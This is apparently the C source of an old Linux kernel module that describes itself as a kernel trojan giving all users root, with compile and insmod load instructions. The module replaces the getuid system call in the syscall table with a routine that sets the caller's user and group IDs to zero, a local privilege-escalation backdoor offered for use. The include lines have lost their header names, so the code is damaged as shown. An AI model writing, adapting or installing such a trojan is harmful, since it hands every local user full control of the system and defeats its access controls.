/*
* A kernel trojan (basic linux kernel module)
*
* Description: gives all users root
*
* coded by fred_ | blasphemy
*
* Compile: gcc -c -O3 all-root.c
* Load: insmod all-root.o
* Unload: rmmod all-root
*
* email: [email protected]
*/


#define MODULE
#define __KERNEL__

#include #include #include
#include
#include
#include
#include
#include #include #include
#include #include #include

extern void *sys_call_table[];

int (*orig_getuid)();

int give_root()
{
int x;
if (current->uid != 0) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
}
return 0;
}

int init_module(void)
{
orig_getuid = sys_call_table[SYS_getuid];
sys_call_table[SYS_getuid] = give_root;

return 0;
}

void cleanup_module(void)
{
sys_call_table[SYS_getuid] = orig_getuid;
}